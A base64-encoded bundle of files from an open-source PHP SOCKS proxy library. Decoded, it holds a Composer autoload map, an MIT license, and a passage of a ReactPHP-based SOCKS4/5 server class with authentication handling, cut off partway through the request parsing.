ICAgICAgICJTb2NrZXQiCiAgICAgICAgXQogICAgfQpdCjw/cGhwCgovLyBhdXRvbG9hZF9wc3I0LnBocCBAZ2VuZXJhdGVkIGJ5IENvbXBvc2VyCgokdmVuZG9yRGlyID0gZGlybmFtZShkaXJuYW1lKF9fRklMRV9fKSk7CiRiYXNlRGlyID0gZGlybmFtZSgkdmVuZG9yRGlyKTsKCnJldHVybiBhcnJheSgKICAgICdDb25uZWN0aW9uTWFuYWdlclxcRXh0cmFcXCcgPT4gYXJyYXkoJHZlbmRvckRpciAuICcvY2x1ZS9jb25uZWN0aW9uLW1hbmFnZXItZXh0cmEvc3JjJyksCiAgICAnQ2x1ZVxcUmVhY3RcXFNvY2tzXFwnID0+IGFycmF5KCR2ZW5kb3JEaXIgLiAnL2NsdWUvc29ja3MtcmVhY3Qvc3JjJyksCiAgICAnQ2x1ZVxcUHNvY2tzZFxcJyA9PiBhcnJheSgkYmFzZURpciAuICcvc3JjJyksCik7ClRoZSBNSVQgTGljZW5zZSAoTUlUKQoKQ29weXJpZ2h0IChjKSAyMDExIENocmlzdGlhbiBMw7xjawoKUGVybWlzc2lvbiBpcyBoZXJlYnkgZ3JhbnRlZCwgZnJlZSBvZiBjaGFyZ2UsIHRvIGFueSBwZXJzb24gb2J0YWluaW5nIGEgY29weQpvZiB0aGlzIHNvZnR3YXJlIGFuZCBhc3NvY2lhdGVkIGRvY3VtZW50YXRpb24gZmlsZXMgKHRoZSAiU29mdHdhcmUiKSwgdG8gZGVhbAppbiB0aGUgU29mdHdhcmUgd2l0aG91dCByZXN0cmljdGlvbiwgaW5jbHVkaW5nIHdpdGhvdXQgbGltaXRhdGlvbiB0aGUgcmlnaHRzCnRvIHVzZSwgY29weSwgbW9kaWZ5LCBtZXJnZSwgcHVibGlzaCwgZGlzdHJpYnV0ZSwgc3VibGljZW5zZSwgYW5kL29yIHNlbGwKY29waWVzIG9mIHRoZSBTb2Z0d2FyZSwgYW5kIHRvIHBlcm1pdCBwZXJzb25zIHRvIHdob20gdGhlIFNvZnR3YXJlIGlzIGZ1cm5pc2hlZAp0byBkbyBzbywgc3ViamVjdCB0byB0aGUgZm9sbG93aW5nIGNvbmRpdGlvbnM6CgpUaGUgYWJvdmUgY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBzaGFsbCBiZSBpbmNsdWRlZCBpbiBhbGwKY29waWVzIG9yIHN1YnN0YW50aWFsIHBvcnRpb25zIG9mIHRoZSBTb2Z0d2FyZS4KClRIRSBTT0ZUV0FSRSBJUyBQUk9WSURFRCAiQVMgSVMiLCBXSVRIT1VUIFdBUlJBTlRZIE9GIEFOWSBLSU5ELCBFWFBSRVNTIE9SCklNUExJRUQsIElOQ0xVRElORyBCVVQgTk9UIExJTUlURUQgVE8gVEhFIFdBUlJBTlRJRVMgT0YgTUVSQ0hBTlRBQklMSVRZLApGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSBBTkQgTk9OSU5GUklOR0VNRU5ULiBJTiBOTyBFVkVOVCBTSEFMTCBUSEUKQVVUSE9SUyBPUiBDT1BZUklHSFQgSE9MREVSUyBCRSBMSUFCTEUgRk9SIEFOWSBDTEFJTSwgREFNQUdFUyBPUiBPVEhFUgpMSUFCSUxJVFksIFdIRVRIRVIgSU4gQU4gQUNUSU9OIE9GIENPTlRSQUNULCBUT1JUIE9SIE9USEVSV0lTRSwgQVJJU0lORyBGUk9NLApPVVQgT0YgT1IgSU4gQ09OTkVDVElPTiBXSVRIIFRIRSBTT0ZUV0FSRSBPUiBUSEUgVVNFIE9SIE9USEVSIERFQUxJTkdTIElOClRIRSBTT0ZUV0FSRS4KPD9waHAKCm5hbWVzcGFjZSBDbHVlXFJlYWN0XFNvY2tzOwoKdXNlIEV2ZW5lbWVudFxFdmVudEVtaXR0ZXI7CnVzZSBSZWFjdFxTb2NrZXRcU2VydmVySW50ZXJmYWNlOwp1c2UgUmVhY3RcUHJvbWlzZVxXaGVuOwp1c2UgUmVhY3RcUHJvbWlzZVxQcm9taXNlSW50ZXJmYWNlOwp1c2UgUmVhY3RcU3RyZWFtXFN0cmVhbTsKdXNlIFJlYWN0XERuc1xSZXNvbHZlclxGYWN0b3J5IGFzIERuc0ZhY3Rvcnk7CnVzZSBSZWFjdFxTb2NrZXRDbGllbnRcQ29ubmVjdG9yIGFzIFRjcENvbm5lY3RvcjsKdXNlIFJlYWN0XFNvY2tldENsaWVudFxDb25uZWN0b3JJbnRlcmZhY2U7CnVzZSBSZWFjdFxTb2NrZXRcQ29ubmVjdGlvbjsKdXNlIFJlYWN0XEV2ZW50TG9vcFxMb29wSW50ZXJmYWNlOwp1c2UgXFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbjsKdXNlIFxJbnZhbGlkQXJndW1lbnRFeGNlcHRpb247CnVzZSBcRXhjZXB0aW9uOwoKY2xhc3MgU2VydmVyIGV4dGVuZHMgRXZlbnRFbWl0dGVyCnsKICAgIHByb3RlY3RlZCAkbG9vcDsKCiAgICBwcml2YXRlICRjb25uZWN0b3I7CgogICAgcHJpdmF0ZSAkYXV0aCA9IG51bGw7CgogICAgcHJpdmF0ZSAkcHJvdG9jb2xWZXJzaW9uID0gbnVsbDsKCiAgICBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoTG9vcEludGVyZmFjZSAkbG9vcCwgU2VydmVySW50ZXJmYWNlICRzZXJ2ZXJJbnRlcmZhY2UsIENvbm5lY3RvckludGVyZmFjZSAkY29ubmVjdG9yID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJGNvbm5lY3RvciA9PT0gbnVsbCkgewogICAgICAgICAgICAvLyBkZWZhdWx0IHRvIHVzaW5nIEdvb2dsZSdzIHB1YmxpYyBETlMgc2VydmVyCiAgICAgICAgICAgICRkbnNSZXNvbHZlckZhY3RvcnkgPSBuZXcgRG5zRmFjdG9yeSgpOwogICAgICAgICAgICAkcmVzb2x2ZXIgPSAkZG5zUmVzb2x2ZXJGYWN0b3J5LT5jcmVhdGVDYWNoZWQoJzguOC44LjgnLCAkbG9vcCk7CiAgICAgICAgICAgICRjb25uZWN0b3IgPSBuZXcgVGNwQ29ubmVjdG9yKCRsb29wLCAkcmVzb2x2ZXIpOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPmxvb3AgPSAkbG9vcDsKICAgICAgICAkdGhpcy0+Y29ubmVjdG9yID0gJGNvbm5lY3RvcjsKCiAgICAgICAgJHRoYXQgPSAkdGhpczsKICAgICAgICAkc2VydmVySW50ZXJmYWNlLT5vbignY29ubmVjdGlvbicsIGZ1bmN0aW9uICgkY29ubmVjdGlvbikgdXNlICgkdGhhdCkgewogICAgICAgICAgICAkdGhhdC0+ZW1pdCgnY29ubmVjdGlvbicsIGFycmF5KCRjb25uZWN0aW9uKSk7CiAgICAgICAgICAgICR0aGF0LT5vbkNvbm5lY3Rpb24oJGNvbm5lY3Rpb24pOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBzZXRQcm90b2NvbFZlcnNpb24oJHZlcnNpb24pCiAgICB7CiAgICAgICAgaWYgKCR2ZXJzaW9uICE9PSBudWxsKSB7CiAgICAgICAgICAgICR2ZXJzaW9uID0gKHN0cmluZykkdmVyc2lvbjsKICAgICAgICAgICAgaWYgKCFpbl9hcnJheSgkdmVyc2lvbiwgYXJyYXkoJzQnLCAnNGEnLCAnNScpLCB0cnVlKSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbignSW52YWxpZCBwcm90b2NvbCB2ZXJzaW9uIGdpdmVuJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCR2ZXJzaW9uICE9PSAnNScgJiYgJHRoaXMtPmF1dGggIT09IG51bGwpewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignVW5hYmxlIHRvIGNoYW5nZSBwcm90b2NvbCB2ZXJzaW9uIHRvIGFueXRoaW5nIGJ1dCBTT0NLUzUgd2hpbGUgYXV0aGVudGljYXRpb24gaXMgdXNlZC4gQ29uc2lkZXIgcmVtb3ZpbmcgYXV0aGVudGljYXRpb24gaW5mbyBvciBzdGlja2luZyB0byBTT0NLUzUnKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+cHJvdG9jb2xWZXJzaW9uID0gJHZlcnNpb247CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHNldEF1dGgoJGF1dGgpCiAgICB7CiAgICAgICAgaWYgKCFpc19jYWxsYWJsZSgkYXV0aCkpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IEludmFsaWRBcmd1bWVudEV4Y2VwdGlvbignR2l2ZW4gYXV0aGVudGljYXRvciBpcyBub3QgYSB2YWxpZCBjYWxsYWJsZScpOwogICAgICAgIH0KICAgICAgICBpZiAoJHRoaXMtPnByb3RvY29sVmVyc2lvbiAhPT0gbnVsbCAmJiAkdGhpcy0+cHJvdG9jb2xWZXJzaW9uICE9PSAnNScpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignQXV0aGVudGljYXRpb24gcmVxdWlyZXMgU09DS1M1LiBDb25zaWRlciB1c2luZyBwcm90b2NvbCB2ZXJzaW9uIDUgb3Igd2FpdmUgYXV0aGVudGljYXRpb24nKTsKICAgICAgICB9CiAgICAgICAgLy8gd3JhcCBhdXRoZW50aWNhdGlvbiBjYWxsYmFjayBpbiBvcmRlciB0byBjYXN0IGl0cyByZXR1cm4gdmFsdWUgdG8gYSBwcm9taXNlCiAgICAgICAgJHRoaXMtPmF1dGggPSBmdW5jdGlvbigkdXNlcm5hbWUsICRwYXNzd29yZCkgdXNlICgkYXV0aCkgewogICAgICAgICAgICAkcmV0ID0gY2FsbF91c2VyX2Z1bmMoJGF1dGgsICR1c2VybmFtZSwgJHBhc3N3b3JkKTsKICAgICAgICAgICAgaWYgKCRyZXQgaW5zdGFuY2VvZiBQcm9taXNlSW50ZXJmYWNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldDsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHJldCA/IFdoZW46OnJlc29sdmUoKSA6IFdoZW46OnJlamVjdCgpOwogICAgICAgIH07CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIHNldEF1dGhBcnJheShhcnJheSAkbG9naW4pCiAgICB7CiAgICAgICAgJHRoaXMtPnNldEF1dGgoZnVuY3Rpb24gKCR1c2VybmFtZSwgJHBhc3N3b3JkKSB1c2UgKCRsb2dpbikgewogICAgICAgICAgICByZXR1cm4gKGlzc2V0KCRsb2dpblskdXNlcm5hbWVdKSAmJiAoc3RyaW5nKSRsb2dpblskdXNlcm5hbWVdID09PSAkcGFzc3dvcmQpOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiB1bnNldEF1dGgoKQogICAgewogICAgICAgICR0aGlzLT5hdXRoID0gbnVsbDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gb25Db25uZWN0aW9uKENvbm5lY3Rpb24gJGNvbm5lY3Rpb24pCiAgICB7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKICAgICAgICAkdGhpcy0+aGFuZGxlU29ja3MoJGNvbm5lY3Rpb24pLT50aGVuKGZ1bmN0aW9uKCRyZW1vdGUpIHVzZSAoJGNvbm5lY3Rpb24pewogICAgICAgICAgICAkY29ubmVjdGlvbi0+ZW1pdCgncmVhZHknLGFycmF5KCRyZW1vdGUpKTsKICAgICAgICB9LCBmdW5jdGlvbiAoJGVycm9yKSB1c2UgKCRjb25uZWN0aW9uLCAkdGhhdCkgewogICAgICAgICAgICBpZiAoISgkZXJyb3IgaW5zdGFuY2VvZiBcRXhjZXB0aW9uKSkgewogICAgICAgICAgICAgICAgJGVycm9yID0gbmV3IFxFeGNlcHRpb24oJGVycm9yKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkY29ubmVjdGlvbi0+ZW1pdCgnZXJyb3InLCBhcnJheSgkZXJyb3IpKTsKICAgICAgICAgICAgJHRoYXQtPmVuZENvbm5lY3Rpb24oJGNvbm5lY3Rpb24pOwogICAgICAgIH0pOwogICAgfQoKICAgIC8qKgogICAgICogZ3JhY2VmdWxseSBzaHV0ZG93biBjb25uZWN0aW9uIGJ5IGZsdXNoaW5nIGFsbCByZW1haW5pbmcgZGF0YSBhbmQgY2xvc2luZyBzdHJlYW0KICAgICAqCiAgICAgKiBAcGFyYW0gU3RyZWFtICRzdHJlYW0KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuZENvbm5lY3Rpb24oU3RyZWFtICRzdHJlYW0pCiAgICB7CiAgICAgICAgJHRpZCA9IHRydWU7CiAgICAgICAgJGxvb3AgPSAkdGhpcy0+bG9vcDsKCiAgICAgICAgLy8gY2FuY2VsIGJlbG93IHRpbWVyIGluIGNhc2UgY29ubmVjdGlvbiBpcyBjbG9zZWQgaW4gdGltZQogICAgICAgICRzdHJlYW0tPm9uY2UoJ2Nsb3NlJywgZnVuY3Rpb24gKCkgdXNlICgmJHRpZCwgJGxvb3ApIHsKICAgICAgICAgICAgLy8gY2xvc2UgZXZlbnQgY2FsbGVkIGJlZm9yZSB0aGUgdGltZXIgd2FzIHNldCB1cCwgc28gZXZlcnl0aGluZyBpcyBva2F5CiAgICAgICAgICAgIGlmICgkdGlkID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAvLyBtYWtlIHN1cmUgdG8gbm90IHN0YXJ0IGEgdXNlbGVzcyB0aW1lcgogICAgICAgICAgICAgICAgJHRpZCA9IGZhbHNlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxvb3AtPmNhbmNlbFRpbWVyKCR0aWQpOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CgogICAgICAgIC8vIHNodXQgZG93biBjb25uZWN0aW9uIGJ5IHBhdXNpbmcgaW5wdXQgZGF0YSwgZmx1c2hpbmcgb3V0Z29pbmcgYnVmZmVyIGFuZCB0aGVuIGV4aXQKICAgICAgICAkc3RyZWFtLT5wYXVzZSgpOwogICAgICAgICRzdHJlYW0tPmVuZCgpOwoKICAgICAgICAvLyBjaGVjayBpZiBjb25uZWN0aW9uIGlzIG5vdCBhbHJlYWR5IGNsb3NlZAogICAgICAgIGlmICgkdGlkID09PSB0cnVlKSB7CiAgICAgICAgICAgIC8vIGZhbGwgYmFjayB0byBmb3JjZWZ1bGx5IGNsb3NlIGNvbm5lY3Rpb24gaW4gMyBzZWNvbmRzIGlmIGJ1ZmZlciBjYW4gbm90IGJlIGZsdXNoZWQKICAgICAgICAgICAgJHRpZCA9ICRsb29wLT5hZGRUaW1lcigzLjAsIGFycmF5KCRzdHJlYW0sJ2Nsb3NlJykpOwogICAgICAgIH0KICAgIH0KCiAgICBwcml2YXRlIGZ1bmN0aW9uIGhhbmRsZVNvY2tzKFN0cmVhbSAkc3RyZWFtKQogICAgewogICAgICAgICRyZWFkZXIgPSBuZXcgU3RyZWFtUmVhZGVyKCk7CiAgICAgICAgJHN0cmVhbS0+b24oJ2RhdGEnLCBhcnJheSgkcmVhZGVyLCAnd3JpdGUnKSk7CgogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgJHRoYXQgPSAkdGhpczsKCiAgICAgICAgJGF1dGggPSAkdGhpcy0+YXV0aDsKICAgICAgICAkcHJvdG9jb2xWZXJzaW9uID0gJHRoaXMtPnByb3RvY29sVmVyc2lvbjsKCiAgICAgICAgLy8gYXV0aGVudGljYXRpb24gcmVxdWlyZXMgU09DS1M1CiAgICAgICAgaWYgKCRhdXRoICE9PSBudWxsKSB7CiAgICAgICAgCSRwcm90b2NvbFZlcnNpb24gPSAnNSc7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZEJ5dGUoKS0+dGhlbihmdW5jdGlvbiAoJHZlcnNpb24pIHVzZSAoJHN0cmVhbSwgJHRoYXQsICRwcm90b2NvbFZlcnNpb24sICRhdXRoLCAkcmVhZGVyKXsKICAgICAgICAgICAgaWYgKCR2ZXJzaW9uID09PSAweDA0KSB7CiAgICAgICAgICAgICAgICBpZiAoJHByb3RvY29sVmVyc2lvbiA9PT0gJzUnKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignU09DS1M0IG5vdCBhbGxvd2VkIGR1ZSB0byBjb25maWd1cmF0aW9uJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoYXQtPmhhbmRsZVNvY2tzNCgkc3RyZWFtLCAkcHJvdG9jb2xWZXJzaW9uLCAkcmVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIGlmICgkdmVyc2lvbiA9PT0gMHgwNSkgewogICAgICAgICAgICAgICAgaWYgKCRwcm90b2NvbFZlcnNpb24gIT09IG51bGwgJiYgJHByb3RvY29sVmVyc2lvbiAhPT0gJzUnKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignU09DS1M1IG5vdCBhbGxvd2VkIGR1ZSB0byBjb25maWd1cmF0aW9uJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHRoYXQtPmhhbmRsZVNvY2tzNSgkc3RyZWFtLCAkYXV0aCwgJHJlYWRlcik7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignVW5leHBlY3RlZC91bmtub3duIHZlcnNpb24gbnVtYmVyJyk7CiAgICAgICAgfSk7CiAgICB9CgogICAgcHVibGljIGZ1bmN0aW9uIGhhbmRsZVNvY2tzNChTdHJlYW0gJHN0cmVhbSwgJHByb3RvY29sVmVyc2lvbiwgU3RyZWFtUmVhZGVyICRyZWFkZXIpCiAgICB7CiAgICAgICAgLy8gc3VwcGxpeWluZyBob3N0bmFtZXMgaXMgb25seSBhbGxvd2VkIGZvciBTT0NLUzRhIChvciBhdXRvbWF0aWNhbGx5IGRldGVjdGVkIHZlcnNpb24pCiAgICAgICAgJHN1cHBvcnRzSG9zdG5hbWUgPSAoJHByb3RvY29sVmVyc2lvbiA9PT0gbnVsbCB8fCAkcHJvdG9jb2xWZXJzaW9uID09PSAnNGEnKTsKCiAgICAgICAgJHRoYXQgPSAkdGhpczsKICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZEJ5dGVBc3NlcnQoMHgwMSktPnRoZW4oZnVuY3Rpb24gKCkgdXNlICgkcmVhZGVyKSB7CiAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQmluYXJ5KGFycmF5KAogICAgICAgICAgICAgICAgJ3BvcnQnICAgPT4gJ24nLAogICAgICAgICAgICAgICAgJ2lwTG9uZycgPT4gJ04nLAogICAgICAgICAgICAgICAgJ251bGwnICAgPT4gJ0MnCiAgICAgICAgICAgICkpOwogICAgICAgIH0pLT50aGVuKGZ1bmN0aW9uICgkZGF0YSkgdXNlICgkcmVhZGVyLCAkc3VwcG9ydHNIb3N0bmFtZSkgewogICAgICAgICAgICBpZiAoJGRhdGFbJ251bGwnXSAhPT0gMHgwMCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbignTm90IGEgbnVsbCBieXRlJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRkYXRhWydpcExvbmcnXSA9PT0gMCkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbignSW52YWxpZCBJUCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkZGF0YVsncG9ydCddID09PSAwKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCdJbnZhbGlkIHBvcnQnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGRhdGFbJ2lwTG9uZyddIDwgMjU2ICYmICRzdXBwb3J0c0hvc3RuYW1lKSB7CiAgICAgICAgICAgICAgICAvLyBpbnZhbGlkIElQID0+IHByb2JhYmx5IGEgU09DS1M0YSByZXF1ZXN0IHdoaWNoIGFwcGVuZHMgdGhlIGhvc3RuYW1lCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlYWRlci0+cmVhZFN0cmluZ051bGwoKS0+dGhlbihmdW5jdGlvbiAoJHN0cmluZykgdXNlICgkZGF0YSl7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGFycmF5KCRzdHJpbmcsICRkYXRhWydwb3J0J10pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkaXAgPSBsb25nMmlwKCRkYXRhWydpcExvbmcnXSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYXJyYXkoJGlwLCAkZGF0YVsncG9ydCddKTsKICAgICAgICAgICAgfQogICAgICAgIH0pLT50aGVuKGZ1bmN0aW9uICgkdGFyZ2V0KSB1c2UgKCRzdHJlYW0sICR0aGF0KSB7CiAgICAgICAgICAgIHJldHVybiAkdGhhdC0+Y29ubmVjdFRhcmdldCgkc3RyZWFtLCAkdGFyZ2V0KS0+dGhlbihmdW5jdGlvbiAoU3RyZWFtICRyZW1vdGUpIHVzZSAoJHN0cmVhbSl7CiAgICAgICAgICAgICAgICAkc3RyZWFtLT53cml0ZShwYWNrKCdDOCcsIDB4MDAsIDB4NWEsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDAsIDB4MDApKTsKCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlbW90ZTsKICAgICAgICAgICAgfSwgZnVuY3Rpb24oJGVycm9yKSB1c2UgKCRzdHJlYW0pewogICAgICAgICAgICAgICAgJHN0cmVhbS0+ZW5kKHBhY2soJ0M4JywgMHgwMCwgMHg1YiwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMCkpOwoKICAgICAgICAgICAgICAgIHRocm93ICRlcnJvcjsKICAgICAgICAgICAgfSk7CiAgICAgICAgfSwgZnVuY3Rpb24oJGVycm9yKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24oJ1NPQ0tTNCBwcm90b2NvbCBlcnJvcicsMCwkZXJyb3IpOwogICAgICAgIH0pOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBoYW5kbGVTb2NrczUoU3RyZWFtICRzdHJlYW0sICRhdXRoPW51bGwsIFN0cmVhbVJlYWRlciAkcmVhZGVyKQogICAgewogICAgICAgICR0aGF0ID0gJHRoaXM7CiAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRCeXRlKCktPnRoZW4oZnVuY3Rpb24gKCRudW0pIHVzZSAoJHJlYWRlcikgewogICAgICAgICAgICAvLyAkbnVtIGRpZmZlcmVudCBhdXRoZW50aWNhdGlvbiBtZWNoYW5pc21zIG9mZmVyZWQKICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRMZW5ndGgoJG51bSk7CiAgICAgICAgfSktPnRoZW4oZnVuY3Rpb24gKCRtZXRob2RzKSB1c2UgKCRyZWFkZXIsICRzdHJlYW0sICRhdXRoKSB7CiAgICAgICAgICAgIGlmICgkYXV0aCA9PT0gbnVsbCAmJiBzdHJwb3MoJG1ldGhvZHMsIlx4MDAiKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIC8vIGFjY2VwdCAibm8gYXV0aGVudGljYXRpb24iCiAgICAgICAgICAgICAgICAkc3RyZWFtLT53cml0ZShwYWNrKCdDMicsIDB4MDUsIDB4MDApKTsKICAgICAgICAgICAgICAgIHJldHVybiAweDAwOwogICAgICAgICAgICB9IGVsc2UgaWYgKCRhdXRoICE9PSBudWxsICYmIHN0cnBvcygkbWV0aG9kcywiXHgwMiIpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgLy8gdXNlcm5hbWUvcGFzc3dvcmQgYXV0aGVudGljYXRpb24gKFJGQyAxOTI5KSBzdWIgbmVnb3RpYXRpb24KICAgICAgICAgICAgICAgICRzdHJlYW0tPndyaXRlKHBhY2soJ0MyJywgMHgwNSwgMHgwMikpOwogICAgICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRCeXRlQXNzZXJ0KDB4MDEpLT50aGVuKGZ1bmN0aW9uICgpIHVzZSAoJHJlYWRlcikgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQnl0ZSgpOwogICAgICAgICAgICAgICAgfSktPnRoZW4oZnVuY3Rpb24gKCRsZW5ndGgpIHVzZSAoJHJlYWRlcikgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkTGVuZ3RoKCRsZW5ndGgpOwogICAgICAgICAgICAgICAgfSktPnRoZW4oZnVuY3Rpb24gKCR1c2VybmFtZSkgdXNlICgkcmVhZGVyLCAkYXV0aCwgJHN0cmVhbSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQnl0ZSgpLT50aGVuKGZ1bmN0aW9uICgkbGVuZ3RoKSB1c2UgKCRyZWFkZXIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICRyZWFkZXItPnJlYWRMZW5ndGgoJGxlbmd0aCk7CiAgICAgICAgICAgICAgICAgICAgfSktPnRoZW4oZnVuY3Rpb24gKCRwYXNzd29yZCkgdXNlICgkdXNlcm5hbWUsICRhdXRoLCAkc3RyZWFtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIHVzZXJuYW1lIGFuZCBwYXNzd29yZCBrbm93biA9PiBhdXRoZW50aWNhdGUKICAgICAgICAgICAgICAgICAgICAgICAgLy8gZWNobyAnYXV0aDogJyAuICR1c2VybmFtZS4nIDogJyAuICRwYXNzd29yZCAuIFBIUF9FT0w7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAkYXV0aCgkdXNlcm5hbWUsICRwYXNzd29yZCktPnRoZW4oZnVuY3Rpb24gKCkgdXNlICgkc3RyZWFtLCAkdXNlcm5hbWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIGFjY2VwdAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmVhbS0+ZW1pdCgnYXV0aCcsIGFycmF5KCR1c2VybmFtZSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmVhbS0+d3JpdGUocGFjaygnQzInLCAweDAxLCAweDAwKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0sIGZ1bmN0aW9uKCkgdXNlICgkc3RyZWFtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyByZWplY3QgPT4gc2VuZCBhbnkgY29kZSBidXQgMHgwMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmVhbS0+ZW5kKHBhY2soJ0MyJywgMHgwMSwgMHhGRikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignVW5hYmxlIHRvIGF1dGhlbnRpY2F0ZScpOwogICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgLy8gcmVqZWN0IGFsbCBvZmZlcmVkIGF1dGhlbnRpY2F0aW9uIG1ldGhvZHMKICAgICAgICAgICAgICAgICRzdHJlYW0tPmVuZChwYWNrKCdDMicsIDB4MDUsIDB4RkYpKTsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24oJ05vIGFjY2VwdGFibGUgYXV0aGVudGljYXRpb24gbWVjaGFuaXNtIGZvdW5kJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9KS0+dGhlbihmdW5jdGlvbiAoJG1ldGhvZCkgdXNlICgkcmVhZGVyLCAkc3RyZWFtKSB7CiAgICAgICAgICAgIHJldHVybiAkcmVhZGVyLT5yZWFkQmluYXJ5KGFycmF5KAogICAgICAgICAgICAgICAgJ3ZlcnNpb24nID0+ICdDJywKICAgICAgICAgICAgICAgICdjb21tYW5kJyA9PiAnQycsCiAgICAgICAgICAgICAgICAnbnVsbCcgICAgPT4gJ0MnLAogICAgICAgICAgICAgICAgJ3R5cGUnICAgID0+ICdDJwogICAgICAgICAgICApKTsKICAgICAgICB9KS0+dGhlbihmdW5jdGlvbiAoJGRhdGEpIHVzZSAoJHJlYWRlcikgewogICAgICAgICAgICBpZiAoJGRhdGFbJ3ZlcnNpb24nXSAhPT0gMHgwNSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IFVuZXhwZWN0ZWRWYWx1ZUV4Y2VwdGlvbignSW52YWxpZCBTT0NLUyB2ZXJzaW9uJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRkYXRhWydjb21tYW5kJ10gIT09IDB4MDEpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBVbmV4cGVjdGVkVmFsdWVFeGNlcHRpb24oJ09ubHkgQ09OTkVDVCByZXF1ZXN0cyBzdXBwb3J0ZWQnKTsKICAgICAgICAgIC